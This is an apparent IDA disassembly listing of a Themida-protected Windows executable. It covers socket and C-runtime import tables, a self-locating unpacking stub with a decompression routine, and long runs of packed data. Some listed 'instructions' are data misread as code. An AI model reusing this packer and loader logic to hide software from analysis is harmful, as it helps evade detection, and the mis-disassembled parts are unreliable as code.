dword_50FA1C	dd 77C623D8h	; resolved to->MSVCRT._adjust_fdiv		dd 77C4D675h, 77C227FAh, 77C1EEEBh
		dd 77C617ACh
; ---------------------------------------------------------------------------
		scasb


loc_50FA31:				; CODE XREF: ___:0050FA37j
		sub	eax, 9E9A77C3h
		retn
; ---------------------------------------------------------------------------
		ja	short loc_50FA31
		dec	ebp
		retn
; ---------------------------------------------------------------------------
		ja	short near ptr word_50FA8E
		dec	esi
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C21868h, 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h
		dd 77C3A307h, 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D350+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42CBA0+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		db 72h,	1Bh
word_50FA8E	dw 77C4h		; CODE XREF: ___:0050FA3Bj
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C37Ar
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41B9F0+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42E060+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat					; sub_428350+4A1r
		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CBA0+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD30+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FFD0+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419C7Ar
		dd 77C29CDDh, 77C293C7h
dword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422AE0+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		dd 28D03F6h
off_50FBF0	dd offset sub_63125E	; DATA XREF: ___:00419F5Dr
					; sub_419FF0+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4250A0:loc_425152r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A680:loc_42A73Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B5D0+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A680+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A770+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F900+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:00421781r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427B60+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 4C5h dup(0)
___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 0014B000 (1355776.)
; Section size in file		: 0014B000 (1355776.)
; Offset to raw	data for section: 00113000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 513000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 85A09ED6h, 43CCBh, 5EA0Fh, 158172h, 0
; ---------------------------------------------------------------------------
		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_513086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_513041
		popa
		jmp	short loc_513076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 30h,	51h, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_513041:				; CODE XREF: Themida_:0051302Cj
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51304E:				; CODE XREF: Themida_:00513072j
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_513074


loc_51306D:				; CODE XREF: Themida_:00513059j
		sub	eax, 1000h
		jmp	short loc_51304E
; ---------------------------------------------------------------------------


loc_513074:				; CODE XREF: Themida_:0051306Bj
		mov	edi, eax


loc_513076:				; CODE XREF: Themida_:0051302Fj
		jmp	loc_513265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11326Ah
		add	ecx, edi
		jmp	short loc_513090
; ---------------------------------------------------------------------------


loc_513086:				; CODE XREF: Themida_:0051301Cj
		mov	eax, offset loc_5A1B04
		mov	ecx, offset word_51326A


loc_513090:				; CODE XREF: Themida_:00513084j
		push	eax
		push	ecx
		call	sub_51311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_513265
; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51311B	proc near		; CODE XREF: Themida_:00513092p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_513127:				; CODE XREF: sub_51311B:loc_51313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_513132:				; CODE XREF: sub_51311B+7Aj
					; sub_51311B+C3j ...
		add	dl, dl
		jnz	short loc_51313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51313B:				; CODE XREF: sub_51311B+19j
		jnb	short loc_513127
		add	dl, dl
		jnz	short loc_513146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513146:				; CODE XREF: sub_51311B+24j
		jnb	short loc_513197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_513153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513153:				; CODE XREF: sub_51311B+31j
		jnb	loc_513238
		add	dl, dl
		jnz	short loc_513162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513162:				; CODE XREF: sub_51311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51316D:				; CODE XREF: sub_51311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513178:				; CODE XREF: sub_51311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513183:				; CODE XREF: sub_51311B+61j
		adc	eax, eax
		jz	short loc_51318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51318D:				; CODE XREF: sub_51311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_513132
; ---------------------------------------------------------------------------


loc_513197:				; CODE XREF: sub_51311B:loc_513146j
		mov	eax, 1


loc_51319C:				; CODE XREF: sub_51311B:loc_5131B0j
		add	dl, dl
		jnz	short loc_5131A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131A5:				; CODE XREF: sub_51311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5131B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131B0:				; CODE XREF: sub_51311B+8Ej
		jb	short loc_51319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5131E3
		mov	ecx, 1


loc_5131C0:				; CODE XREF: sub_51311B:loc_5131D4j
		add	dl, dl
		jnz	short loc_5131C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131C9:				; CODE XREF: sub_51311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5131D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131D4:				; CODE XREF: sub_51311B+B2j
		jb	short loc_5131C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_5131E3:				; CODE XREF: sub_51311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5131F1:				; CODE XREF: sub_51311B:loc_513205j
		add	dl, dl
		jnz	short loc_5131FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131FA:				; CODE XREF: sub_51311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_513205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513205:				; CODE XREF: sub_51311B+E3j
		jb	short loc_5131F1
		cmp	eax, 7D00h
		jnb	short loc_513228
		cmp	eax, 500h
		jb	short loc_513223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513223:				; CODE XREF: sub_51311B+F8j
		cmp	eax, 7Fh
		ja	short loc_51322B


loc_513228:				; CODE XREF: sub_51311B+F1j
		add	ecx, 2


loc_51322B:				; CODE XREF: sub_51311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513238:				; CODE XREF: sub_51311B:loc_513153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_513259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513259:				; CODE XREF: sub_51311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51311B	endp

; ---------------------------------------------------------------------------


loc_513265:				; CODE XREF: Themida_:loc_513076j
					; Themida_:005130B1j
		jmp	loc_5A1B04
; ---------------------------------------------------------------------------
word_51326A	dw 38E9h		; DATA XREF: Themida_:0051308Bo
		dd 1563568h, 0E101BCEBh, 3588EB0Fh, 0C8EF47B8h,	3B847B33h
		dd 9B8E22BCh, 51525D4Ch, 855EDF00h, 0D0E3D501h,	0FB7A8404h
		dd 102E21A2h, 2E92F2AAh, 54C0EB11h, 696D6568h, 46616438h
		dd 8401A3FFh, 788EBF6Eh, 88FFBB10h, 0BF47B824h,	470138BFh
		dd 8B11B8EAh, 0F0AA2B84h, 1C736552h, 0CE726174h, 2E2F7041h
		dd 219C784Fh, 5C9864F7h, 0B6FEF721h, 36E6F7B4h,	0FC0BE103h
		dd 6F848B71h, 0C58BC7EFh, 0E860D421h, 815D20C2h, 350177EDh
		dd 958907FAh, 0D840A9Dh, 4233BDB5h, 714D985h, 2625B283h
		dd 0C74010Eh, 0E2C8E88Bh, 1E79B9B8h, 4470F1C2h,	3E10C724h
		dd 6A061AC5h, 29A3E845h, 749A680Fh, 0DF949E83h,	4B25070Ah
		dd 0D5A40A89h, 214E942h, 2F4EC95h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	al, 0EEh
		pop	edx
		adc	dword ptr [eax], 23665EAh
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0EC60846h ; CODE XREF: Themida_:0051336Fj
		inc	eax
		mov	[eax], ecx
		aas
		cmp	dword ptr [ebp+31h], 0F741D80h
		lahf
		and	[eax], cl
		leave
		or	edi, 26h
		adc	bh, bh
		adc	bl, [eax]
		inc	ebx
		jmp	short near ptr loc_513351+1
; ---------------------------------------------------------------------------
		fsub	qword ptr ss:[ecx-23h]
		db	26h
		add	eax, 104C2C9h
		inc	esi
		add	esp, 2A3FF7Ch
		dec	ecx
		xchg	eax, ecx
		scasb
		add	[ebp+5D8B8045h], cl
		or	bh, al
		push	ecx
		test	[ecx], ebx
		adc	dl, [eax-73h]
		or	byte ptr [edx],	0D1h
		retn
; ---------------------------------------------------------------------------
		db 88h
		dd 89412A18h, 0BD81280Bh, 755D8006h, 0A27A5E3h,	3B64BA8Dh
		dd 8A807501h, 24F4BB0Eh, 0AB03B85Bh, 0D3785437h, 0E0FF3D0h
		dd 0F7754B08h, 47C3AFC1h, 184A4946h, 42A8F946h,	8AAE61D1h
		dd 0D7F0D081h, 4528EEF6h, 0EB284DFCh, 46F2AD04h, 403E8031h
		dd 844DBAF7h, 7D8634B9h, 3E7FEB0Ch, 6D32F843h, 2A13F012h
		dd 510F40Eh, 0F065C14Ah, 0F8D60004h, 0C203E0D1h, 332880E5h
		dd 301C8ADBh, 30FB7380h, 390A0A72h, 0EBF40577h,	9F22C9FBh
		dd 0DD96114h, 8FD660Ah,	3A7D1EBDh, 10B00AC3h, 0B72411Ah
		dd 77460AC3h, 88247A06h, 0F0615D01h, 7D83F4ECh,	6C7202CCh
		dd 76C00CB0h, 0AA99A5DDh, 3807F826h, 0A8A88D1Dh, 0FC553B02h
		dd 0A778820Fh, 0AA06B0BDh, 0BA43F938h, 82B98308h, 0BDFCA170h
		dd 0FE0037F4h, 493B470Fh, 22B99C75h, 0BBC06A5Dh, 0F1123101h
		dd 0DDEB7682h, 868E8002h, 8FB39FAh, 3F655138h, 8ADC4536h
		dd 0E913EF26h, 6B5947E4h, 49658F7h, 60211C13h, 7D8A80C4h
		dd 45820525h, 211C08CCh, 0C4580048h, 0C2F81D99h, 0B20021BAh
		dd 0F0815377h, 192C5CA2h, 6E64B4C3h, 31D0A1F1h,	97181571h
		dd 34CB8C1Ch, 39826700h, 1765B4Eh, 51B8100Fh, 0F1D1043Dh
		dd 8746D93Bh, 2E097536h, 5451156h, 9065E4ECh, 84760006h
		dd 968E05C5h, 933A0D28h, 4855347h, 8C2946C2h, 0E76DAC71h
		dd 0FFD9D80Eh, 77812B86h, 1D002204h, 0F984C134h, 0C8207533h
		dd 0BB3B3FBCh, 30EF330Ah, 0EC419902h, 0CF7F8CC4h, 40C8FFCCh
		dd 0E9F54567h, 626028h,	4D8C52C4h, 0AA821125h, 0AB66B142h
		dd 1384845Ah, 5F95653h,	18EE825Eh, 221A8154h, 518A7DD6h
		dd 230213B9h, 28439497h, 46ECDF8Ch, 0C45B1C53h,	0C4558A88h
		dd 53434216h, 67C540C4h, 0F6DA058Dh, 8605E281h,	4F032396h
		dd 0B146CD0Bh, 0D0D1D056h, 27F443h, 7953C06Bh, 0E930AEF3h
		dd 38310B60h, 42F2CBh, 0A0290D23h, 62614020h, 0B065C71h
		dd 458610CAh, 8C671F2Dh, 0A58D8DBh, 0BC005FF4h,	52538038h
		dd 2886C862h, 528428AEh, 0EA191902h, 0FBE91130h, 0B81E0B00h
		dd 3FC6E1D4h, 0DF8B065Eh, 1F10EA5Ch, 807DA83Fh,	0CB6FABD8h
		dd 3E7384D3h, 933DB188h, 12235D2h, 8A1AB41Fh, 0C5132A0Ah
		dd 1F8E19BBh, 8C22E90Ch, 3E4E7800h, 0DCAEE7A5h,	2B4CA61Ch
		dd 6DA96280h, 31D43C6h,	10B9F1C2h, 35030389h, 0EA5AE08Ch
		dd 0A2111F09h, 0CE42801Ah, 82F23E89h, 7192C219h, 741012E1h
		dd 8100C7F3h, 0CACDCFDCh, 0B35C44h, 4533E037h, 0CE92507h
		dd 0EDDA2DC1h, 3A31F1B7h, 95033E4h, 8C10E167h, 2C5B3298h
		dd 3F8CB8E1h, 1A485435h, 0D0D29D00h, 145371BEh,	0ABB005Fh
		dd 82121E18h, 0E30927F7h, 0FA32DCh, 5539D49Eh, 0C0101857h
		dd 74A220DBh, 8A131504h, 0B7833A35h, 51D198C9h,	5C3D00B7h
		dd 5405F084h, 0D51CDF81h, 1D0E8259h, 0F241C91h,	3A50B516h
		dd 3BD900F6h, 535AB450h, 0F636035Ch, 3320B61Bh,	190079E3h
		dd 0CDAA771Fh, 130E3126h, 805F0Ah, 79E3C1BBh, 0BA00E24Bh
		dd 8C81EE0Dh, 7D4F536Ch, 6E721EB4h, 5B860091h, 0FC0645D3h
		dd 3CB1F107h, 0E600A042h, 0C05A3858h, 0CAEEAF31h, 0E960F4F1h
		dd 59D84310h, 0ADE62025h, 5BDCFC00h, 0E9D55829h, 7220005Fh
		dd 2E54F3CAh, 0FC7C48FFh, 0D9784900h, 7BB22D13h, 0E7E40076h
		dd 33B644ADh, 0AC069B62h, 573EB788h, 0A92200D9h, 9037E639h
		dd 0D20305BFh, 0C9F2C7B1h, 6151C089h, 0A8FA3C50h, 0B5A9B830h
		dd 32306DCBh, 0DCFE11AAh, 42C100E1h, 0D86FC687h, 0C8CDB678h
		dd 5DC941BBh, 145AC080h, 45CEF2AFh, 63331E0Ch, 0F4A81956h
		dd 18730503h, 3C3B528h,	8231D618h, 0B0DA6888h, 0F5FF0607h
		dd 89731B6Ah, 5580A775h, 0E085CBEBh, 0F510C043h, 0ADA25F5Ah
		dd 0D703200Fh, 0EE71E058h, 7C190B40h, 296B60C7h, 0D4E9A9CAh
		dd 78186361h, 0E2F4244Ch, 43A20F0Bh, 0C4A61749h, 0F50E6962h
		dd 0C0F98641h, 9C7A0371h, 35040FAAh, 0FD8C7C1Eh, 0B633F399h
		dd 0D1C1313Fh, 729E9h, 1A7F1769h, 30326118h, 0C8DD538h
		dd 16969165h, 5F7B7810h, 827C3A0Ch, 21C451C6h, 0DD05759Bh
		dd 4004051Dh, 3B000DD2h, 0D537E2BBh, 5803A775h,	0FD1B02C2h
		dd 2339004Eh, 15A37218h, 0FDB8F291h, 42C89403h,	85AA5ED0h
		dd 44971400h, 616D98h, 882706D9h, 0CB111876h, 64453506h
		dd 1D707E3Ah, 0C13B1FCAh, 18460A63h, 62A0406Eh,	0F20D132Bh
		dd 2872DA94h, 3079AAE0h, 0A02015B0h, 330699F6h,	0C5CA43F0h
		dd 29F900E1h, 0BC396EFh, 7F1F3F50h, 0F18CC24Dh,	548E80Fh
		dd 802BF345h, 0E6DC421Dh, 44804ECh, 9A075DBBh, 8CFA7EB5h
		dd 5078A13Ch, 60A2A44Fh, 0DE65292Ah, 0A1006148h, 0AD9D1C04h
		dd 0C36650B1h, 3CFE698h, 482C290Dh, 0F1E098F8h,	792B14EDh
		dd 0C1113C1Eh, 0FB330A01h, 0F202E859h, 12FB2B4h, 0E2411AF0h
		dd 88109E8Dh, 1F1B19C8h, 0F077D5E6h, 25527206h,	0B075920h
		dd 3006384Dh, 0F799E350h, 9DE0A0C1h, 0C95500F6h, 41AA43EFh
		dd 0B0CA67BCh, 0BB6C82h, 9940AE29h, 0EC6191B6h,	16EC20B1h
		dd 0D928C6F6h, 3632B863h, 2B08E8E1h, 77601D03h,	371A2801h
		dd 0F0EB677Fh, 0E3177040h, 6115B008h, 0CFBD401Ch, 0F58C519Ah
		dd 7041D07Eh, 8A40406Fh, 814FECBEh, 4683E5AEh, 0E18EE331h
		dd 7C45CDF5h, 0F4840136h, 528E3CFEh, 63C363A0h,	4879A890h
		dd 99504660h, 4CFEB6ABh, 61E5A2Fh, 0E4DBC053h, 63BC7E6Ch
		dd 1740F700h, 0A802DD6Bh, 0AB2A008Dh, 1981980Fh, 0A41D48C2h
		dd 0D300CCC1h, 0A859069Ch, 1E8DF4B0h, 1C2A27CDh, 5C6BC72Ch
		dd 0E69D078h, 0B53F84F4h, 0F830723h, 0D6102690h, 773CF37h
		dd 0AADF43D1h, 0D07B10C2h, 0BBFA18C1h, 5304B67Fh, 0F6FEC8F8h
		dd 83FCCD82h, 0C6AFCAD4h, 0F1541FF8h, 13758861h, 42ACFA02h
		dd 0D00C4015h, 0E3BD1F85h, 0A7F30178h, 0E2452B4Bh, 0BEA0B0A0h
		dd 50C5C835h, 0E8207E20h, 0A815FBE6h, 92C2CAD0h, 0D88800A0h
		dd 664E1CF8h, 0D91C800Ah, 0B64011BAh, 0FD603BCCh, 2FA3394h
		dd 2A9B7078h, 0CCAF6C82h, 53912040h, 4C00E17Ch,	8D08B155h
		dd 0EF6D48Ch, 485D223Bh, 0BEEE4341h, 6246F045h,	0A17F48C0h
		dd 3070D5BDh, 7889F9CAh, 0DF02EF01h, 0B9F61F31h, 0AA084069h
		dd 4FEC3049h, 2BCB8BC0h, 10747252h, 820FCA01h, 0F0C14925h
		dd 21EE58F2h, 551400BCh, 0D07B83Ah, 6A7CA57h, 0D0561777h
		dd 0AEF78179h, 9C74F8E7h, 0FF5F00C2h, 0B48323EAh, 0F62676C7h
		dd 0A242AC44h, 0A0A0A012h, 0D770E9h, 40ACDD27h,	25AB3E42h
		dd 0F9105907h, 3A82A956h, 0BC60601Fh, 42C1C114h, 403D51F6h
		dd 9EA0E3E8h, 0E8612537h, 0CE20BA90h, 0D0D7635Dh, 7982BD1Dh
		dd 421CB4A3h, 91B89598h, 6DFFB00h, 86C52126h, 1DA8EEE6h
		dd 8482D2C0h, 0D0F2FCF7h, 0A694456Ch, 1D68014Dh, 7831D1DEh
		dd 61FEA552h, 8109988h,	0D567E1BEh, 90292C78h, 6BAF060h
		dd 0DC77CFD2h, 0A56F881Eh, 89A8A869h, 7898722Ch, 0CF18E974h
		dd 19B9E6A0h, 28609986h, 0CA0B152Dh, 3900BCC8h,	4D92B578h
		dd 860957AFh, 284AAD3h,	246AF2FCh, 5E54C8A1h, 0F3850801h
		dd 390D9F67h, 98C4D6h, 0DBCE642Ah, 0A43F7B0h, 11F84E14h
		dd 49F60FB8h, 51E54D2Bh, 598F4FC1h, 6FC3A184h, 50908B92h
		dd 7E09A2C7h, 0A2B1F6A3h, 0C05F1B98h, 26CD8AE8h, 83062E8h
		dd 580047D4h, 90EE09CAh, 0B710C51Eh, 61B49C43h,	447D963Fh
		dd 8076758Ch, 63F92BC5h
		dd 0F62344h, 0F4A7CB25h, 0B8ABCFE5h, 0E64CA2E0h, 1406C228h
		dd 429C430Bh, 2A42B07h,	329D040h, 14C2BDF8h, 0F6419C48h
		dd 0C25519C0h, 61E245FDh, 16649078h, 0BE418F04h, 12B160F5h
		dd 20C69D01h, 0A2001F75h, 5ECBAC41h, 261A1E38h,	8144F586h
		dd 0B08A9C46h, 0DE69E453h, 0CC084D26h, 0FE62A883h, 7C29580Dh
		dd 0BCF06A22h, 0C0A4CF7Fh, 0FC867B15h, 89187BE0h, 0B8901FD6h
		dd 19CB60C9h, 307A4911h, 8180E33Ch, 71834225h, 96E0860Ah
		dd 4BC00AA1h, 6180A759h, 46A87C55h, 6B44802Ch, 0F95FEE9h
		dd 5D97CEDDh, 3D343E9Dh, 0B621C2E8h, 0C8899085h, 7B28D018h
		dd 1A1824ADh, 0A2A18EB1h, 0CAF24079h, 0BB21C460h, 0C3FCF8h
		dd 0C8DDADB1h, 1FDA9B5Eh, 20D02500h, 69AF3765h,	31CD60CAh
		dd 5AFFDF24h, 0D8360F00h, 747A19AAh, 0A6C2C99h,	0E65902CCh
		dd 0D46414CEh, 0A7C144h, 0A5C4D6Fh, 7F96EB61h, 0CA849202h
		dd 48DBFD78h, 0C02DA118h, 22E34239h, 30038EBh, 188D0641h
		dd 72B88481h, 85C20C70h, 0FEF016F1h, 0B61E6F09h, 7DA88248h
		dd 0E920486Eh, 9F7C40E8h, 46298F06h, 5C107680h,	430121CAh
		dd 8AA7D5A3h, 9D509558h, 386E1FA0h, 554AD281h, 918111A2h
		dd 49955085h, 0D80F21C7h, 0D3FF606h, 0D4F380ADh, 0A84337B0h
		dd 88202ECAh, 0EE02C034h, 1F805018h, 7E2B16B9h,	7404192h
		dd 20CEE1E6h, 0DA2ABBD8h, 7770F80Ah, 0EA708B00h, 24F73350h
		dd 0A64B007Eh, 0F0D1C23Fh, 0DA005939h, 16F69F73h, 52F7EB0Ah
		dd 0C322B82Eh, 93E05000h, 7C90D0A0h, 7FFA0E0Ch,	0FD42A203h
		dd 5E001B44h, 0CE01EAh,	1C79AB18h, 6E1667B4h, 7A66CF02h
		dd 43200E94h, 0C333901Ch, 307C90D2h, 52A8FB30h,	0E5359E62h
		dd 2890C0FEh, 3094F82h,	45EBCA5Bh, 4096BE64h, 85550A0h
		dd 72780483h, 0B1B49601h, 0AB0873Ch, 234910EEh,	27A284h
		dd 0F33DE7D1h, 4B5E950Eh, 7115DF00h, 0BBDC7C9Ch, 0C488C458h
		dd 95CD89Dh, 0C1340150h, 5271AD5Ch, 57C80CFCh, 25959038h
		dd 24A32A29h, 0A9087C5Ah, 709B9ADh, 34F663F3h, 8028843Fh
		dd 15D2B45Ch, 81DD29C6h, 0E6521459h, 7281F8E9h,	2913B046h
		dd 1C6910F8h, 29CEC811h, 0D7C404FFh, 79F66441h,	0D4642540h
		dd 3494484Ch, 0C22C09Fh, 21899C4h, 8518AC40h, 9900CADh
		dd 9D78007Eh, 2EAA3FBh,	5C072C1Bh, 0E5F6F977h, 0D802CDF5h
		dd 508A79AEh, 78BAF860h, 44534DA9h, 6024DB2Ch, 0C5CB5A55h
		dd 7539A000h, 3F5B7F77h, 0FF540561h, 11162ABh, 4B85CE88h
		dd 50A43232h, 384018A8h, 231900A5h, 8BE3B0BAh, 3900FE81h
		dd 5535FDE4h, 495C85D0h, 0E914E45Fh, 0B8038069h, 9D0F204Bh
